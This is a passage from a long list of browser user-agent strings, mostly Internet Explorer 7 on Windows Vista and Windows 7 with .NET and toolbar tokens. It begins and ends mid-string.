5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; FDM; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Lunascape 5.1.3.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Zune 3.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; FDM; .NET4.0C; .NET4.0E; chromeframe/11.0.696.57) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;); SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Media Center PC 5.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 3.5.21022; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.1; Media Center PC 5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0) Sleipnir/2.7.2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 3.5.21022; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.30729; Media Center PC 5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30428; .NET CLR 3.0.30422) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30707; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; FBSMTWB; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; InfoPath.2; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; Zune 3.0; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; Lunascape 5.0.5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; FDM; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; .NET CLR 2.0.50727; SLCC1; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; GTB7.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Media Center PC 3.1; .NET CLR 3.0.04320) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20506; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 646; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 661; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 661; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 663; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 663; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.1; Tablet PC 2.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 663; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; QQDownload 665; QQDownload 667; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET CLR 3.0.30618; SLCC1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Tablet PC 2.0; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; SlimBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Lunascape 6.1.7.21880) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1; Tablet PC 2.0; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SlimBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0; InfoPath.1; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; iCafeMedia; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; iRider 2.60.0008; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; InfoPath.3; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; Deepnet Explorer 1.5.3; Smart 2x2; SLCC2; .NET CLR 